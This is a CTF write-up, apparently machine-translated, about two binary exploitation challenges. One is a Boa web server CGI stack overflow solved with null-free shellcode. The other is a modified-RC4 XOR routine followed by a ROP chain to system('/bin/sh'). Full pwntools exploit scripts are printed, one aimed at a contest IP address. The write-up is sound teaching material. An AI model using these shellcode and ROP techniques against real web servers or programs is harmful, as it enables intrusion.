Babyboa examines the use of Boa Webserver’s CGI files, and the nice Xor examines the use of reverse analysis of decrypting functions to construct stack overflow ROP. The test points of both questions are very novel, and the first one is combined with the Web, which is worth repeating.

babyboa

The appearance of this problem is a Web page

But the main content is actually in cgi files

Cgi files are statically compiled, which is very common in off-line contest problems, so it’s important to learn how to restore the symbolic information of the static library, so here’s a first step to try to restore the symbolic information of the static library.

1. Restore the symbol information of the static library

IDA’s FLIRT is used to restore the static Library information. It is a function Recognition Technology, which is Fast Library Identification and Recognition Technology. You can use sig files to enable IDA to identify function features in unsigned binary files and restore function names and other information. This greatly improves code readability and speeds up analysis.

The sig file for the standard library is also available at github.com/push0ebp/si… In the download, and the file import to IDA/ SIG/PC can be used, I here in order to quickly find the SIG file we import, the original files of the folder are put to the bak directory, we guess may be used to put the symbol file to the directory

After importing, press Shift + F5 in IDA to open the “List of Applied Library Modules” page

Then press INS and select the static library file to automatically analyze the feature restore

I chose Ubuntu 16.04 libc6 (2.23-0Ubuntu6 / AMd64) after many tests. If you don’t know which version of library is used for static compilation, you can try importing more than one version to test.

After importing, you can see that 623 functions have been identified, and most of them have names

2. Logical analysis

Enter the password on the Web page to capture the following packages

That is, the Web page is actually used to pass parameters to the CGI at the back end and to determine password information in the CGI

The main function determines whether REQUEST_METHOD and QUERY_STRING are correct. The two parameters represent the mode of access and the parameters passed, respectively. In this case, GET and password= WJH.

After a preliminary judgment, the 127 bytes of the parameter are copied to a piece of BSS, and the parameter information is processed by handle.

In this function, the data on the stack is cleared to 0, and then the arguments are copied to the stack from the 9th bit. The reason for starting from the 9th bit is to extract the WJH string from the password= WJH for judgment, because this is the actual password information entered in the Web.

There are only 0x80 bytes of parameter information stored on the stack, but there is no limit to the length of the parameter, so we can overflow the stack by avoiding \x00 in the parameter.

However, it is impossible to imagine constructing ROP without \x00 (since \x00 data is bound to be in the address), so I checksec the program at this time

Found in the protection program is seated, and before entering the handle function have copied our incoming parameters to the BSS, this means that we only need to put the return address is modified to BSS parameters, and the parameters of a composition for not \ x00 shellcode, You can execute ShellCode to control the flow of the program.

3. Exploit loopholes

With that in mind, all we need to think about is how to construct shellCode, how to debug shellCode, and so on.

How to debug programs

Since the program is based on the AMD64 architecture, we can actually execute the file directly, but we cannot successfully enter the handle process because we did not pass in the two environment variables as parameters.

I used here is the nop directly off the GET parameter that part of the judgment, then patch getenv (” QUERY_STRING “) to read function, specific assembly code is as follows.

The space of.eh_frame in the program has the execution permission. If the bytes of the direct patch program are not enough to achieve the functions we want, we just need to write assembly code on this space directly, and call the address where we want to patch, and return to the original position after modification.

And getenv function takes rax as the return value, and the content is a pointer pointing to the returned data, so we write this function needs to implement such a function, I randomly found a space in the BSS segment, and use sys_read to read the content, after such modification, I can successfully debug.

How to write ShellCode

The shellcode here is much simpler than some shellcodes we’ve encountered before. The key point is that the Shellcode here only needs to be without \x00, because \x00 will truncate the rest of the Web packet. The BOA Web server cannot be parsed properly.

The next thing you need to do is write shellcode normally. The most likely place you will encounter \x00 is a reference to a memory address. Since the address is usually 0x400000, the highest two bytes are \x00. The method I use here is XOR 0x01010101 to avoid the top two bits \x00 of the address.

Orw shellcode can be generated directly with pwntools, using the following command can automatically generate the code

pwnlib.shellcraft.amd64.linux.cat("/flag")





Copy the code

In addition to using the CAT method, you can also consider using the bounce shell method, so that you do not have to worry about the 502 error, because the output of the flag is not required.

Why is the 502

The answer to this question is close to PWN in real life, which is why I need to Writeup specifically to explain this question. This was a problem I struggled with for a long time until I downloaded the BOA source code and found the location where it reported error 502.

This is the BOA source code, and I found that when it determines that the cgi file does not contain the string \n\r\n or \n\n, it will report error 502.

Normally, the CGI file must return a string like this, so it works fine. However, when the CGI file exits abnormally, the data in the buffer is not output. The general PWN problem will use setbuf in the problem to set the length of the buffer to 0, so that the program can be output in real time. If the program has a buffer, it will not print out all of its data until the buffer is full or it executes _IO_fflush.

In normal programs, although there is no explicit call to _IO_flush, the default is to use _libc_start_main to start the function, and exit is called automatically in _libc_start_main. There is also a call to the exit function to check if there is any content in each buffer and output the content if there is, so the contents of the buffer must be printed.

To sum up, we need to add a piece of code after shellCode to call exit to exit the program normally, so that the buffer is printed.

4.EXP

from pwn import * context.log_level = "debug" context.arch = "amd64" def test(payload): Sh = remote('47.99.38.177', 20001) data = ''GET /cgi-bin/ auth.cgi? {0} HTTP/1.1 Host: 47.99.38.177:20001 Connection: keep-alive DNT: 1 upgrade-insecure Requests: 1 user-agent: Mozilla / 5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/avif, image/webp image/apng, * / *; Q = 0.8, application/signed - exchange; v=b3; Q = 0.9 Accept - Language: useful - CN, useful; Q =0.9 ". Format (payload) sh.send(data) sh.interactive() DEBUG = False exit_ADDR = 0x400e26 shellCODE_ADDR = 0x6D26C0 shellcode = ''' mov eax, 0x01410f27; xor eax, 0x01010101; jmp rax; ''' shellcode = pwnlib.shellcraft.amd64.linux.cat("/flag") + shellcode shellcode = asm(shellcode).ljust(0x50, '\x90') payload = shellcode + 'a' * (0x91 - len(shellcode)) + '\xC0\x26\x6D' if DEBUG: sh = process('./Auth.cgi') gdb.attach(sh, "b *0x0000000000400AD5") sh.sendafter("charset:utf-8", payload) sh.interactive() else: test(payload)Copy the code

After script execution, flag exists before all data, because flag data directly output through ORW Shellcode does not need to pass through the buffer, while other data is only output from the buffer during exit execution, which confirms our previous idea.

Beautiful xor

This topic actually examines the inverse algorithm + simple stack overflow

Identify encryption function

So let’s start by looking at what the functions do. Okay

Actually see these several functions, you can probably guess the program encryption is using magic RC4 encryption (RC4 encryption 0x100 changed to 0x200).

The key to identifying RC4 encryption is actually its initialization secret key code, that is, the loop to s[I] to assign the value, the content of the value is I, another feature is its exchange process calculated in the subscript (s[I] + k[I] + v1) % 0x100, just need to see similar exchange code, You can directly determine that it is RC4 encryption.

However, the essence of RC4 encryption is to obtain xOR data and perform Xor. Therefore, we only need to obtain xor data through dynamic debugging and record it. During encryption and decryption, we do not need to consider what encryption is, but only need to perform Xor on the operation content.

Decrypt data and check bits

The following paragraph is to carry out xOR operation on the content. Encode function is very complicated after confusion, but we can actually guess the function through the previous function, that is, to carry out Xor operation on the data.

Because the xor data is fixed, in fact, if all the data passed in here is \x00, the xor secret key can be directly obtained. I think there are some problems in the implementation here, which makes it unnecessary to analyze the code, only the content of Xor can be extracted.

I’m going to write a program here to extract the xOR data

#include <cstdio> #include <cstring> unsigned int sz[10]; void rc4_init(unsigned int* s, unsigned char* key, unsigned long Len) { int i = 0, j = 0; unsigned char k[0x200] = { 0 }; unsigned int tmp = 0; for (i = 0; i < 0x200; i++) { s[i] = i; k[i] = key[i % Len]; } for (i = 0; i < 0x200; i++) { j = (j + s[i] + k[i]) % 0x200; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } } void rc4_crypt(unsigned int* s, unsigned int* Data, unsigned long Len) { int i = 0, j = 0, t = 0; unsigned long k = 0; unsigned int tmp; for (k = 0; k < Len; k++) { i = (i + 1) % 0x200; j = (j + s[i]) % 0x200; tmp = s[i]; s[i] = s[j]; s[j] = tmp; t = (s[i] + s[j]) % 0x200; Data[k] ^= s[t]; } } int main() { unsigned int s[0x200]; unsigned char key[] = "freedomzrc4rc4jwandu123nduiandd9872ne91e8n3n27d91cnb9496cbaw7b6r9823ncr89193rmca879w6rnw45232fc465v2vt5v91m5vm0amy0789" ; int key_len = strlen((char *)key); for (int i = 0; key[i]; i++) key[i] = 6; rc4_init(s, key, key_len); rc4_crypt(s, sz, 10); for (int i = 0; i < 10; i++) printf("0x%02X, ", sz[i] % 0x100); return 0; }Copy the code

After XOR, the first eight bits are data bits and the last two bits are parity bits. We only need to deduce the parity bit of the data according to the logic of the program.

The exploit

The value is assigned to the array on the stack after XOR, and the length of the data read before is 0xE0. After calculation, it is found that the size of the stack space is actually exceeded, resulting in stack overflow. Ret2csu + ret2libc will do, since the program is not open. Write /bin/sh\x00 to the BSS segment, pop rdi, and then call system to getshell.

The problem with this is that if I call system on PLT directly, I can get through locally, but I get an error remotely. If you know the reason for this problem, please tell me, so I finally use the system gadget used by the program itself to execute the system, and found that it works.

from pwn import * elf = None libc = None file_name = "./main" # context.timeout = 1 def get_file(dic=""): context.binary = dic + file_name return context.binary def get_libc(dic=""): libc = None try: data = os.popen("ldd {}".format(dic + file_name)).read() for i in data.split('\n'): libc_info = i.split("=>") if len(libc_info) == 2: if "libc" in libc_info[0]: libc_path = libc_info[1].split(' (') if len(libc_path) == 2: libc = ELF(libc_path[0].replace(' ', ''), checksec=False) return libc except: pass if context.arch == 'amd64': libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False) elif context.arch == 'i386': try: libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False) except: libc = ELF("/lib32/libc.so.6", checksec=False) return libc def get_sh(Use_other_libc=False, Use_ssh=False): global libc if args['REMOTE']: if Use_other_libc: libc = ELF("./libc.so.6", checksec=False) if Use_ssh: s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4]) return s.process(file_name) else: return remote(sys.argv[1], sys.argv[2]) else: return process(file_name) def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None, int_mode=False): if start_string ! = None: sh.recvuntil(start_string) if libc == True: return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) elif int_mode: return_address = int(sh.recvuntil(end_string, drop=True), 16) elif address_len ! = None: return_address = u64(sh.recv()[:address_len].ljust(8, '\x00')) elif context.arch == 'amd64': return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00')) else: return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00')) if offset ! = None: return_address = return_address + offset if info ! = None: log.success(info + str(hex(return_address))) return return_address def get_flag(sh): Sh.recvrepeat (0.1) sh.sendline('cat flag') return sh.recvrepeat(0.3) def get_gdb(sh, gdbscript=None, addr=0, stop=False): if args['REMOTE']: return if gdbscript is not None: gdb.attach(sh, gdbscript=gdbscript) elif addr is not None: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16) log.success("breakpoint_addr --> " + hex(text_base + addr)) gdb.attach(sh, 'b *{}'.format(hex(text_base + addr))) else: gdb.attach(sh) if stop: raw_input() def Attack(target=None, sh=None, elf=None, libc=None): if sh is None: from Class.Target import Target assert target is not None assert isinstance(target, Target) sh = target.sh elf = target.elf libc = target.libc assert isinstance(elf, ELF) assert isinstance(libc, ELF) try_count = 0 while try_count < 3: try_count += 1 try: pwn(sh, elf, libc) break except KeyboardInterrupt: break except EOFError: if target is not None: sh = target.get_sh() target.sh = sh if target.connect_fail: return 'ERROR : Can not connect to target server! ' else: sh = get_sh() flag = get_flag(sh) return flag def encode(data): all_data = "" for i in range(len(data) // 8): xor_data = [0x67, 0x3A, 0xDB, 0x9F, 0x21, 0x84, 0xDD, 0x24, 0x7C, 0x15] d = [ord(data[i * 8 + j]) for j in range(8)] s = ((d[7] + (d[6] << 8) + d[5] + (d[4] << 8) + d[3] + (d[2] << 8) + d[1] + (d[0] << 8)) >> 31) >> 24 c = ((s + d[7] + d[5] + d[3] + d[1]) & 0xff - s + 0x100) & 0xff d = data[i * 8: (i + 1) * 8] + p16(c) all_data += ''.join(chr(ord(d[i]) ^ xor_data[i]) for i in range(10)) return all_data def pwn(sh, elf, libc): context.log_level = "debug" pop_rdi_addr = 0x42cd13 buf_addr = 0x68F2C0 sh_data = '/bin/sh\x00\x7C\x71' * (0x68 // 8) # sh_data = 'sh\x00\x00\x00\x00\x00\x00\x7C\x8C' * (0x68 // 8) payload = p64(pop_rdi_addr) + p64(buf_addr) + p64(0x40099B)  payload = sh_data + encode(payload) # gdb.attach(sh, "b *0x0000000000400B9D") sh.sendafter('enter:', payload) sh.interactive() if __name__ == "__main__": sh = get_sh() flag = Attack(sh=sh, elf=get_file(), libc=get_libc()) sh.close() log.success('The flag is ' + re.search(r'flag{.+}', flag).group())Copy the code

conclusion

Babyboa was the closest I got to a real life exploit, and I tried operations like bounce shell. After all, PWN problems in CTF are far from binary bugs in real life. Through such slow attempts and efforts, I hope I can move from solving problems to the big shooting range in real life and find real bugs.